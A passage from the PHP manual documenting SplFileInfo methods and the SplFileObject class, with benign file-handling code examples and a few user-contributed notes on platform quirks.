  • SplFileInfo::getFilename() - Gets the filename
  • SplFileInfo::getPathInfo() - Gets an SplFileInfo object for the path

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getOwner
SplFileInfo::getPathInfo
SplFileInfo


Gets an SplFileInfo object for the path

SplFileInfo::getPath
SplFileInfo::getPathname
SplFileInfo
PHP Manual

SplFileInfo::getPathInfo

(PHP 5 >= 5.1.2)

SplFileInfo::getPathInfo — Gets an SplFileInfo object for the path

Description

public SplFileInfo SplFileInfo::getPathInfo ([ string $class_name ] )

Gets an SplFileInfo object for the parent of the current file.

Parameters

class_name

Name of an SplFileInfo derived class to use.

Return Values

Returns an SplFileInfo object for the parent path of the file.

Examples

Example #1 SplFileInfo::getPathInfo() example

<?php
$info = new SplFileInfo('/usr/bin/php');
$parent_info = $info->getPathInfo();
var_dump($parent_info->getRealPath());
?>

The above example will output something similar to:

string(8) "/usr/bin"

See Also

  • SplFileInfo::setInfoClass() - Sets the class used with getFileInfo and getPathInfo

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getPath
SplFileInfo::getPathname
SplFileInfo


Gets the path to the file

SplFileInfo::getPathInfo
SplFileInfo::getPerms
SplFileInfo
PHP Manual

SplFileInfo::getPathname

(PHP 5 >= 5.1.2)

SplFileInfo::getPathname — Gets the path to the file

Description

public string SplFileInfo::getPathname ( void )

Returns the path to the file.

Parameters

This function has no parameters.

Return Values

The path to the file.

Examples

Example #1 SplFileInfo::getPathname() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPathname());
?>

The above example will output something similar to:

string(12) "/usr/bin/php"

See Also

  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

_ michael 18-Mar-2011 06:00
In Windows, getPathname will return a path with a mix of backslashes and forward slashes ('C:/some/path/to\a\file.txt'). Observed in PHP 5.2.9. By contrast, getRealPath will return a consistent result (all backslashes).
SplFileInfo::getPathInfo
SplFileInfo::getPerms
SplFileInfo


Gets file permissions

SplFileInfo::getPathname
SplFileInfo::getRealPath
SplFileInfo
PHP Manual

SplFileInfo::getPerms

(PHP 5 >= 5.1.2)

SplFileInfo::getPerms — Gets file permissions

Description

public int SplFileInfo::getPerms ( void )

Gets the file permissions for the file.

Parameters

This function has no parameters.

Return Values

Returns the file permissions.

Examples

Example #1 SplFileInfo::getPerms() example

<?php
$info = new SplFileInfo('/tmp');
echo substr(sprintf('%o', $info->getPerms()), -4);

$info = new SplFileInfo(__FILE__);
echo substr(sprintf('%o', $info->getPerms()), -4);
?>

The above example will output something similar to:

1777
0644

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getPathname
SplFileInfo::getRealPath
SplFileInfo


Gets absolute path to file

SplFileInfo::getPerms
SplFileInfo::getSize
SplFileInfo
PHP Manual

SplFileInfo::getRealPath

(PHP 5 >= 5.2.2)

SplFileInfo::getRealPath — Gets absolute path to file

Description

public string SplFileInfo::getRealPath ( void )

This method expands all symbolic links, resolves relative references and returns the real path to the file.

Parameters

This function has no parameters.

Return Values

Returns the path to the file.

Examples

Example #1 SplFileInfo::getRealPath() example

<?php
$info = new SplFileInfo('/..//./../../'.__FILE__);
var_dump($info->getRealPath());

$info = new SplFileInfo('/tmp');
var_dump($info->getRealPath());
?>

The above example will output something similar to:

string(28) "/private/tmp/phptempfile.php"
string(12) "/private/tmp"

See Also

  • SplFileInfo::isLink() - Tells if the file is a link

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getPerms
SplFileInfo::getSize
SplFileInfo


Gets file size

SplFileInfo::getRealPath
SplFileInfo::getType
SplFileInfo
PHP Manual

SplFileInfo::getSize

(PHP 5 >= 5.1.2)

SplFileInfo::getSize — Gets file size

Description

public int SplFileInfo::getSize ( void )

Returns the filesize in bytes for the file referenced.

Parameters

This function has no parameters.

Return Values

The filesize in bytes.

Errors/Exceptions

A RuntimeException will be thrown if the file does not exist or an error occurs.

See Also

  • filesize() - Gets file size

User Contributed Notes

franssen dot roland at gmail dot com 30-Apr-2011 05:59
Seems to return FALSE if file does not exists... (PHP 5.3.4)
SplFileInfo::getRealPath
SplFileInfo::getType
SplFileInfo


Gets file type

SplFileInfo::getSize
SplFileInfo::isDir
SplFileInfo
PHP Manual

SplFileInfo::getType

(PHP 5 >= 5.1.2)

SplFileInfo::getType — Gets file type

Description

public string SplFileInfo::getType ( void )

Returns the type of the file referenced.

Parameters

This function has no parameters.

Return Values

A string representing the type of the entry. May be one of file, link, or dir

Errors/Exceptions

Throws a RuntimeException on error.

Examples

Example #1 SplFileInfo::getType() example

<?php

$info = new SplFileInfo(__FILE__);
echo $info->getType().PHP_EOL;

$info = new SplFileInfo(dirname(__FILE__));
echo $info->getType();

?>

The above example will output something similar to:

file
dir

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getSize
SplFileInfo::isDir
SplFileInfo


Tells if the file is a directory

SplFileInfo::getType
SplFileInfo::isExecutable
SplFileInfo
PHP Manual

SplFileInfo::isDir

(PHP 5 >= 5.1.2)

SplFileInfo::isDir — Tells if the file is a directory

Description

public bool SplFileInfo::isDir ( void )

This method can be used to determine if the file is a directory.

Parameters

This function has no parameters.

Return Values

Returns TRUE if a directory, FALSE otherwise.

Examples

Example #1 SplFileInfo::isDir() example

<?php
$d = new SplFileInfo(dirname(__FILE__));
var_dump($d->isDir());

$d = new SplFileInfo(__FILE__);
var_dump($d->isDir());
?>

The above example will output something similar to:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getType
SplFileInfo::isExecutable
SplFileInfo


Tells if the file is executable

SplFileInfo::isDir
SplFileInfo::isFile
SplFileInfo
PHP Manual

SplFileInfo::isExecutable

(PHP 5 >= 5.1.2)

SplFileInfo::isExecutable — Tells if the file is executable

Description

public bool SplFileInfo::isExecutable ( void )

Checks if the file is executable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if executable, FALSE otherwise.

Examples

Example #1 SplFileInfo::isExecutable() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->isExecutable());

$info = new SplFileInfo('/usr/bin');
var_dump($info->isExecutable());

$info = new SplFileInfo('foo');
var_dump($info->isExecutable());
?>

The above example will output something similar to:

bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::isDir
SplFileInfo::isFile
SplFileInfo


Tells if the object references a regular file

SplFileInfo::isExecutable
SplFileInfo::isLink
SplFileInfo
PHP Manual

SplFileInfo::isFile

(PHP 5 >= 5.1.2)

SplFileInfo::isFile — Tells if the object references a regular file

Description

public bool SplFileInfo::isFile ( void )

Checks if the file referenced by this SplFileInfo object exists and is a regular file.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file exists and is a regular file (not a link), FALSE otherwise.

Examples

Example #1 SplFileInfo::isFile() example

<?php
$info = new SplFileInfo(__FILE__);
var_dump($info->isFile());

$info = new SplFileInfo(dirname(__FILE__));
var_dump($info->isFile());
?>

The above example will output something similar to:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::isExecutable
SplFileInfo::isLink
SplFileInfo


Tells if the file is a link

SplFileInfo::isFile
SplFileInfo::isReadable
SplFileInfo
PHP Manual

SplFileInfo::isLink

(PHP 5 >= 5.1.2)

SplFileInfo::isLink — Tells if the file is a link

Description

public bool SplFileInfo::isLink ( void )

Use this method to check if the file referenced by the SplFileInfo object is a link.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file is a link, FALSE otherwise.

Examples

Example #1 SplFileInfo::isLink() example

<?php
$info = new SplFileInfo('/path/to/symlink');
if ($info->isLink()) {
    echo 'The real path is '.$info->getRealPath();
}
?>

See Also

  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::isFile
SplFileInfo::isReadable
SplFileInfo


Tells if file is readable

SplFileInfo::isLink
SplFileInfo::isWritable
SplFileInfo
PHP Manual

SplFileInfo::isReadable

(PHP 5 >= 5.1.2)

SplFileInfo::isReadable — Tells if file is readable

Description

public bool SplFileInfo::isReadable ( void )

Check if the file is readable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if readable, FALSE otherwise.

Examples

Example #1 SplFileInfo::isReadable() example

<?php
$info = new SplFileInfo(__FILE__);
var_dump($info->isReadable());

$info = new SplFileInfo('foo');
var_dump($info->isReadable());
?>

The above example will output something similar to:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::isLink
SplFileInfo::isWritable
SplFileInfo


Tells if the entry is writable

SplFileInfo::isReadable
SplFileInfo::openFile
SplFileInfo
PHP Manual

SplFileInfo::isWritable

(PHP 5 >= 5.1.2)

SplFileInfo::isWritable — Tells if the entry is writable

Description

public bool SplFileInfo::isWritable ( void )

Checks if the current entry is writable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if writable, FALSE otherwise;

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::isReadable
SplFileInfo::openFile
SplFileInfo


Gets an SplFileObject object for the file

SplFileInfo::isWritable
SplFileInfo::setFileClass
SplFileInfo
PHP Manual

SplFileInfo::openFile

(PHP 5 >= 5.1.2)

SplFileInfo::openFile — Gets an SplFileObject object for the file

Description

public SplFileObject SplFileInfo::openFile ([ string $open_mode = r [, bool $use_include_path = false [, resource $context = NULL ]]] )

Creates an SplFileObject object of the file. This is useful because SplFileObject contains additional methods for manipulating the file whereas SplFileInfo is only useful for gaining information, like whether the file is writable.

Parameters

open_mode

The mode for opening the file. See the fopen() documentation for descriptions of possible modes. The default is read only.

use_include_path

When set to TRUE, the filename is also searched for within the include_path

context

Refer to the context section of the manual for a description of contexts.

Return Values

The opened file as an SplFileObject object.

Errors/Exceptions

A RuntimeException if the file cannot be opened (e.g. insufficient access rights).

Examples

Example #1 SplFileInfo::openFile() example

<?php
$fileinfo = new SplFileInfo('/tmp/foo.txt');

if ($fileinfo->isWritable()) {

    $fileobj = $fileinfo->openFile('a');

    $fileobj->fwrite("appended this sample text");
}
?>

See Also

  • SplFileObject
  • stream_context_create() - Create a streams context
  • fopen() - Opens file or URL

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::isWritable
SplFileInfo::setFileClass
SplFileInfo


Sets the class name used with SplFileInfo::openFile

SplFileInfo::openFile
SplFileInfo::setInfoClass
SplFileInfo
PHP Manual

SplFileInfo::setFileClass

(PHP 5 >= 5.1.2)

SplFileInfo::setFileClass — Sets the class name used with SplFileInfo::openFile()

Description

public void SplFileInfo::setFileClass ([ string $class_name ] )

Set the class name which SplFileInfo will use to open files with when openFile() is called. The class name passed to this method must be derived from SplFileObject.

Parameters

class_name

The class name to use when openFile() is called.

Return Values

No value is returned.

Examples

Example #1 SplFileInfo::setFileClass() example

<?php
// Create a class extending SplFileObject
class MyFoo extends SplFileObject {}

$info = new SplFileInfo(__FILE__);
// Set the class to use
$info->setFileClass('MyFoo');
var_dump($info->openFile());
?>

The above example will output something similar to:

object(MyFoo)#2 (0) { }

See Also

  • SplFileInfo::openFile() - Gets an SplFileObject object for the file

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::openFile
SplFileInfo::setInfoClass
SplFileInfo


Sets the class used with getFileInfo and getPathInfo

SplFileInfo::setFileClass
SplFileInfo::__toString
SplFileInfo
PHP Manual

SplFileInfo::setInfoClass

(PHP 5 >= 5.1.2)

SplFileInfo::setInfoClass — Sets the class used with getFileInfo and getPathInfo

Description

public void SplFileInfo::setInfoClass ([ string $class_name ] )

Use this method to set a custom class which will be used when getFileInfo and getPathInfo are called. The class name passed to this method must be derived from SplFileInfo.

Parameters

class_name

The class name to use.

Return Values

No value is returned.

Examples

Example #1 SplFileInfo::setFileClass() example

<?php
// Define a class which extends SplFileInfo
class MyFoo extends SplFileInfo {}

$info = new SplFileInfo('foo');
// Set the class name to use
$info->setInfoClass('MyFoo');
var_dump($info->getFileInfo());
?>

The above example will output something similar to:

object(MyFoo)#2 (0) { }

See Also

  • SplFileInfo::getFileInfo() - Gets an SplFileInfo object for the file

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::setFileClass
SplFileInfo::__toString
SplFileInfo


Returns the path to the file as a string

SplFileInfo::setInfoClass
SplFileObject
SplFileInfo
PHP Manual

SplFileInfo::__toString

(PHP 5 >= 5.1.2)

SplFileInfo::__toString — Returns the path to the file as a string

Description

public void SplFileInfo::__toString ( void )

This method will return the file name of the referenced file.

Parameters

This function has no parameters.

Return Values

Returns the path to the file.

Examples

Example #1 SplFileInfo::__toString() example

<?php
$info = new SplFileInfo('foo');
var_dump($info->__toString());
echo $info.PHP_EOL;

$info = new SplFileInfo('/usr/bin/php');
var_dump($info->__toString());
echo $info.PHP_EOL;
?>

The above example will output something similar to:

string(3) "foo"
foo
string(12) "/usr/bin/php"
/usr/bin/php

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::setInfoClass
SplFileObject
SplFileInfo


The SplFileObject class

(PHP 5 >= 5.1.0)

Introduction

The SplFileObject class offers an object oriented interface for a file.

Class synopsis

SplFileObject extends SplFileInfo implements RecursiveIterator , Traversable , Iterator , SeekableIterator {
/* Constants */
const integer DROP_NEW_LINE = 1 ;
const integer READ_AHEAD = 2 ;
const integer SKIP_EMPTY = 6 ;
const integer READ_CSV = 8 ;
/* Methods */
public __construct ( string $filename [, string $open_mode = "r" [, bool $use_include_path = false [, resource $context ]]] )
public string|array current ( void )
public bool eof ( void )
public bool fflush ( void )
public string fgetc ( void )
 public array fgetcsv
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )
public string fgets ( void )
public string fgetss ([ string $allowable_tags ] )
public bool flock ( int $operation [, int &$wouldblock ] )
public int fpassthru ( void )
public int fputcsv ( string $fields [, string $delimiter [, string $enclosure ]] )
public mixed fscanf ( string $format [, mixed &$... ] )
public int fseek ( int $offset [, int $whence = SEEK_SET ] )
public array fstat ( void )
public int ftell ( void )
public bool ftruncate ( int $size )
public int fwrite ( string $str [, int $length ] )
public void getChildren ( void )
public array getCsvControl ( void )
public int getFlags ( void )
public int getMaxLineLen ( void )
public bool hasChildren ( void )
public int key ( void )
public void next ( void )
public void rewind ( void )
public void seek ( int $line_pos )
 public void setCsvControl
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )
public void setFlags ( int $flags )
public void setMaxLineLen ( int $max_len )
public bool valid ( void )
/* Inherited methods */
public SplFileInfo::__construct ( string $file_name )
public int SplFileInfo::getATime ( void )
public string SplFileInfo::getBasename ([ string $suffix ] )
public int SplFileInfo::getCTime ( void )
public string SplFileInfo::getExtension ( void )
public SplFileInfo SplFileInfo::getFileInfo ([ string $class_name ] )
public string SplFileInfo::getFilename ( void )
public int SplFileInfo::getGroup ( void )
public int SplFileInfo::getInode ( void )
public string SplFileInfo::getLinkTarget ( void )
public int SplFileInfo::getMTime ( void )
public int SplFileInfo::getOwner ( void )
public string SplFileInfo::getPath ( void )
public SplFileInfo SplFileInfo::getPathInfo ([ string $class_name ] )
public string SplFileInfo::getPathname ( void )
public int SplFileInfo::getPerms ( void )
public string SplFileInfo::getRealPath ( void )
public int SplFileInfo::getSize ( void )
public string SplFileInfo::getType ( void )
public bool SplFileInfo::isDir ( void )
public bool SplFileInfo::isExecutable ( void )
public bool SplFileInfo::isFile ( void )
public bool SplFileInfo::isLink ( void )
public bool SplFileInfo::isReadable ( void )
public bool SplFileInfo::isWritable ( void )
public SplFileObject SplFileInfo::openFile ([ string $open_mode = r [, bool $use_include_path = false [, resource $context = NULL ]]] )
public void SplFileInfo::setFileClass ([ string $class_name ] )
public void SplFileInfo::setInfoClass ([ string $class_name ] )
public void SplFileInfo::__toString ( void )
}

Predefined Constants

SplFileObject::DROP_NEW_LINE

Drop newlines at the end of a line.

SplFileObject::READ_AHEAD

Read on rewind/next.

SplFileObject::SKIP_EMPTY

Skips empty lines in the file.

SplFileObject::READ_CSV

Read lines as CSV rows.

Table of Contents

  • SplFileObject::__construct — Construct a new file object.
  • SplFileObject::current — Retrieve current line of file
  • SplFileObject::eof — Reached end of file
  • SplFileObject::fflush — Flushes the output to the file
  • SplFileObject::fgetc — Gets character from file
  • SplFileObject::fgetcsv — Gets line from file and parse as CSV fields
  • SplFileObject::fgets — Gets line from file
  • SplFileObject::fgetss — Gets line from file and strip HTML tags
  • SplFileObject::flock — Portable file locking
  • SplFileObject::fpassthru — Output all remaining data on a file pointer
  • SplFileObject::fputcsv — Output a field array as a CSV line
  • SplFileObject::fscanf — Parses input from file according to a format
  • SplFileObject::fseek — Seek to a position
  • SplFileObject::fstat — Gets information about the file
  • SplFileObject::ftell — Return current file position
  • SplFileObject::ftruncate — Truncates the file to a given length
  • SplFileObject::fwrite — Write to file
  • SplFileObject::getChildren — No purpose
  • SplFileObject::getCsvControl — Get the delimiter and enclosure character for CSV
  • SplFileObject::getCurrentLine — Alias of SplFileObject::fgets
  • SplFileObject::getFlags — Gets flags for the SplFileObject
  • SplFileObject::getMaxLineLen — Get maximum line length
  • SplFileObject::hasChildren — SplFileObject does not have children
  • SplFileObject::key — Get line number
  • SplFileObject::next — Read next line
  • SplFileObject::rewind — Rewind the file to the first line
  • SplFileObject::seek — Seek to specified line
  • SplFileObject::setCsvControl — Set the delimiter and enclosure character for CSV
  • SplFileObject::setFlags — Sets flags for the SplFileObject
  • SplFileObject::setMaxLineLen — Set maximum line length
  • SplFileObject::__toString — Alias of SplFileObject::current
  • SplFileObject::valid — Not at EOF

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::__toString
SplFileObject::__construct
File Handling


Construct a new file object.

SplFileObject
SplFileObject::current
SplFileObject
PHP Manual

SplFileObject::__construct

(PHP 5 >= 5.1.0)

SplFileObject::__construct — Construct a new file object.

Description

public SplFileObject::__construct ( string $filename [, string $open_mode = "r" [, bool $use_include_path = false [, resource $context ]]] )

Construct a new file object.

Parameters

filename

The file to read.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

open_mode

The mode in which to open the file. See fopen() for a list of allowed modes.

use_include_path

Whether to search in the include_path for filename.

context

A valid context resource created with stream_context_create().

Return Values

No value is returned.

Errors/Exceptions

Throws a RuntimeException if the filename cannot be opened.

Examples

Example #1 SplFileObject::__construct() example

This example opens the current file and iterates over its contents line by line.

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $line) {
    echo $line;
}
?>

The above example will output something similar to:

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $line) {
    echo $line;
}
?>

See Also

  • SplFileInfo::openFile() - Gets an SplFileObject object for the file
  • fopen() - Opens file or URL

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject
SplFileObject::current
SplFileObject


Retrieve current line of file

SplFileObject::__construct
SplFileObject::eof
SplFileObject
PHP Manual

SplFileObject::current

(PHP 5 >= 5.1.0)

SplFileObject::current — Retrieve current line of file

Description

public string|array SplFileObject::current ( void )

Retrieves the current line of the file.

Parameters

This function has no parameters.

Return Values

Retrieves the current line of the file. If the SplFileObject::READ_CSV flag is set, this method returns an array containing the current line parsed as CSV data.

Examples

Example #1 SplFileObject::current() example

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $k => $line) {
   echo ($file->key() + 1) . ': ' . $file->current();
}
?>

The above example will output something similar to:

1: <?php
2: $file = new SplFileObject(__FILE__);
3: foreach ($file as $line) {
4:     echo ($file->key() + 1) . ': ' . $file->current();
5: }
6: ?>

See Also

  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::__construct
SplFileObject::eof
SplFileObject


Reached end of file

SplFileObject::current
SplFileObject::fflush
SplFileObject
PHP Manual

SplFileObject::eof

(PHP 5 >= 5.1.0)

SplFileObject::eof — Reached end of file

Description

public bool SplFileObject::eof ( void )

Determine whether the end of file has been reached

Parameters

This function has no parameters.

Return Values

Returns TRUE if file is at EOF, FALSE otherwise.

Examples

Example #1 SplFileObject::eof() example

<?php
$file = new SplFileObject("fruits.txt");
while ( ! $file->eof()) {
    echo $file->fgets();
}
?>

The above example will output something similar to:

apple
banana
cherry
date
elderberry

See Also

  • SplFileObject::valid() - Not at EOF
  • feof() - Tests for end-of-file on a file pointer

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::current
SplFileObject::fflush
SplFileObject


Flushes the output to the file

SplFileObject::eof
SplFileObject::fgetc
SplFileObject
PHP Manual

SplFileObject::fflush

(PHP 5 >= 5.1.0)

SplFileObject::fflush — Flushes the output to the file

Description

public bool SplFileObject::fflush ( void )

Forces a write of all buffered output to the file.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SplFileObject::fflush() example

<?php
$file = new SplFileObject('misc.txt', 'r+');
$file->rewind();
$file->fwrite("Foo");
$file->fflush();
$file->ftruncate($file->ftell());
?>

See Also

  • SplFileObject::fwrite() - Write to file

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::eof
SplFileObject::fgetc
SplFileObject


Gets character from file

SplFileObject::fflush
SplFileObject::fgetcsv
SplFileObject
PHP Manual

SplFileObject::fgetc

(PHP 5 >= 5.1.0)

SplFileObject::fgetc — Gets character from file

Description

public string SplFileObject::fgetc ( void )

Gets a character from the file.

Parameters

This function has no parameters.

Return Values

Returns a string containing a single character read from the file or FALSE on EOF.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 SplFileObject::fgetc() example

<?php
$file = new SplFileObject('file.txt');
while (false !== ($char = $file->fgetc())) {
    echo "$char\n";
}
?>

See Also

  • SplFileObject::fgets() - Gets line from file

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::fflush
SplFileObject::fgetcsv
SplFileObject


Gets line from file and parse as CSV fields

SplFileObject::fgetc
SplFileObject::fgets
SplFileObject
PHP Manual

SplFileObject::fgetcsv

(PHP 5 >= 5.1.0)

SplFileObject::fgetcsv — Gets line from file and parse as CSV fields

Description

 public array SplFileObject::fgetcsv
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )

Gets a line from the file which is in CSV format and returns an array containing the fields read.

Parameters

delimiter

The field delimiter (one character only). Defaults as a comma or the value set using SplFileObject::setCsvControl().

enclosure

The field enclosure character (one character only). Defaults as a double quotation mark or the value set using SplFileObject::setCsvControl().

escape

The escape character (one character only). Defaults as a backslash (\) or the value set using SplFileObject::setCsvControl().

Return Values

Returns an indexed array containing the fields read, or FALSE on error.

Note:

A blank line in a CSV file will be returned as an array comprising a single NULL field unless using SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE, in which case empty lines are skipped.

Examples

Example #1 SplFileObject::fgetcsv() example

<?php
$file = new SplFileObject("data.csv");
while (!$file->eof()) {
    var_dump($file->fgetcsv());
}
?>

Example #2 SplFileObject::READ_CSV example

<?php
$file = new SplFileObject("animals.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $row) {
    list($animal, $class, $legs) = $row;
    printf("A %s is a %s with %d legs\n", $animal, $class, $legs);
}
?>

Contents of animals.csv

crocodile,reptile,4
dolphin,mammal,0
duck,bird,2
koala,mammal,4
salmon,fish,0

The above example will output something similar to:

A crocodile is a reptile with 4 legs
A dolphin is a mammal with 0 legs
A duck is a bird with 2 legs
A koala is a mammal with 4 legs
A salmon is a fish with 0 legs

See Also

  • SplFileObject::setCsvControl() - Set the delimiter and enclosure character for CSV
  • SplFileObject::setFlags() - Sets flags for the SplFileObject
  • SplFileObject::READ_CSV
  • SplFileObject::current() - Retrieve current line of file

User Contributed Notes

v-fpiris at teknober dot com 21-May-2011 07:56
after setting the delimiter '\t' fgetcsv() truncates the value when it is empty string

workaround:

<?php
$file = new SplFileObject($path);
$file->setFlags(SplFileObject::DROP_NEW_LINE);
while ($file->valid()) {
    $line = $file->fgets();
    $line = explode("\t", $line);

    print_r($line);
}
?>
SplFileObject::fgetc
SplFileObject::fgets
SplFileObject


Gets line from file

SplFileObject::fgetcsv
SplFileObject::fgetss
SplFileObject
PHP Manual

SplFileObject::fgets

(PHP 5 >= 5.1.0)

SplFileObject::fgets — Gets line from file

Description

public string SplFileObject::fgets ( void )

Gets a line from the file.

Parameters

This function has no parameters.

Return Values

Returns a string containing the next line from the file, or FALSE on error.

Errors/Exceptions

Throws a RuntimeException if the file cannot be read.

Examples

Example #1 SplFileObject::fgets() example

This example simply outputs the contents of file.txt line-by-line.

<?php
$file = new SplFileObject("file.txt");
while (!$file->eof()) {
    echo $file->fgets();
}
?>

See Also

  • fgets() - Gets line from file pointer
  • SplFileObject::fgetss() - Gets line from file and strip HTML tags
  • SplFileObject::fgetc() - Gets character from file
  • SplFileObject::current() - Retrieve current line of file

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::fgetcsv
SplFileObject::fgetss
SplFileObject


Gets line from file and strip HTML tags

SplFileObject::fgets
SplFileObject::flock
SplFileObject
PHP Manual

SplFileObject::fgetss

(PHP 5 >= 5.1.0)

SplFileObject::fgetss — Gets line from file and strip HTML tags

Description

public string SplFileObject::fgetss ([ string $allowable_tags ] )

Identical to SplFileObject::fgets(), except that SplFileObject::fgetss() attempts to strip any HTML and PHP tags from the text it reads.

Parameters

allowable_tags

You can use the optional third parameter to specify tags which should not be stripped.

Return Values

Returns a string containing the next line of the file with HTML and PHP code stripped, or FALSE on error.

Examples

Example #1 SplFileObject::fgetss() example

<?php
$str = <<<EOD
<html><body>
 <p>Welcome! Today is the <?php echo(date('jS')); ?> of <?= date('F'); ?>.</p>
</body></html>
Text outside of the HTML block.
EOD;
file_put_contents("sample.php", $str);

$file = new SplFileObject("sample.php");
while (!$file->eof()) {
    echo $file->fgetss();
}
?>

The above example will output something similar to:

 Welcome! Today is the  of .

Text outside of the HTML block.

See Also

  • fgetss() - Gets line from file pointer and strip HTML tags
  • SplFileObject::fgets() - Gets line from file
  • SplFileObject::fgetc() - Gets character from file
  • SplFileObject::current() - Retrieve current line of file

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::fgets
SplFileObject::flock
SplFileObject


Portable file locking

SplFileObject::fgetss
SplFileObject::fpassthru
SplFileObject
PHP Manual

SplFileObject::flock

(PHP 5 >= 5.1.0)

SplFileObject::flock — Portable file locking

Description

public bool SplFileObject::flock ( int $operation [, int &$wouldblock ] )

Locks or unlocks the file in the same portable way as flock().

Parameters

operation

operation is one of the following:

  • LOCK_SH to acquire a shared lock (reader).
  • LOCK_EX to acquire an exclusive lock (writer).
  • LOCK_UN to release a lock (shared or exclusive).
  • LOCK_NB to not block while locking (not supported on Windows).

wouldblock

Set to TRUE if the lock would block (EWOULDBLOCK errno condition).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SplFileObject::flock() example

<?php
$file = new SplFileObject("/tmp/lock.txt", "w");
if ($file->flock(LOCK_EX)) { // do an exclusive lock
    $file->ftruncate(0);     // truncate file
    $file->fwrite("Write something here\n");
    $file->flock(LOCK_UN);   // release the lock
} else {
    echo "Couldn't get the lock!";
}
?>

See Also

  • flock() - Portable advisory file locking

User Contributed Notes

digitalprecision at gmail dot com 24-Dec-2010 02:48
For the record, the example given here has an explicit command to truncate the file, however with a 'write mode' of 'w', it will do this for you automatically, so the truncate call is not needed.
SplFileObject::fgetss
SplFileObject::fpassthru
SplFileObject


Output all remaining data on a file pointer

SplFileObject::flock
SplFileObject::fputcsv
SplFileObject
PHP Manual

SplFileObject::fpassthru

(PHP 5 >= 5.1.0)

SplFileObject::fpassthru — Output all remaining data on a file pointer

Description

public int SplFileObject::fpassthru ( void )

Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.

You may need to call SplFileObject::rewind() to reset the file pointer to the beginning of the file if you have already written data to the file.

Parameters

This function has no parameters.

Return Values

Returns the number of characters read from handle and passed through to the output.

Examples

Example #1 SplFileObject::fpassthru() example

<?php

// Open the file in binary mode
$file = new SplFileObject("./img/ok.png", "rb");

// Send the right headers
header("Content-Type: image/png");
header("Content-Length: " . $file->getSize());

// Dump the picture and end script
$file->fpassthru();
exit;

?>

See Also

  • fpassthru() - Output all remaining data on a file pointer

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::flock
SplFileObject::fputcsv
SplFileObject


Output a field array as a CSV line

SplFileObject::fpassthru
SplFileObject::fscanf
SplFileObject
PHP Manual

SplFileObject::fputcsv

(No version information available, might only be in SVN)

SplFileObject::fputcsv — Output a field array as a CSV line

Description

public int SplFileObject::fputcsv ( string $fields [, string $delimiter [, string $enclosure ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

fields

delimiter

enclosure

Return Values

User Contributed Notes

sergiy dot sokolenko at gmail dot com 25-Jan-2012 01:17
This method is available in PHP 5.4 and it is just a wrapper over php.net/fputcsv.
SplFileObject::fpassthru
SplFileObject::fscanf
SplFileObject


Parses input from file according to a format

SplFileObject::fputcsv
SplFileObject::fseek
SplFileObject
PHP Manual

SplFileObject::fscanf

(PHP 5 >= 5.1.0)

SplFileObject::fscanf — Parses input from file according to a format

Description

public mixed SplFileObject::fscanf ( string $format [, mixed &$... ] )

Reads a line from the file and interprets it according to the specified format, which is described in the documentation for sprintf().

Any whitespace in the format string matches any whitespace in the line from the file. This means that even a tab \t in the format string can match a single space character in the input stream.

Parameters

format

The specified format as described in the sprintf() documentation.

...

The optional assigned values.

Return Values

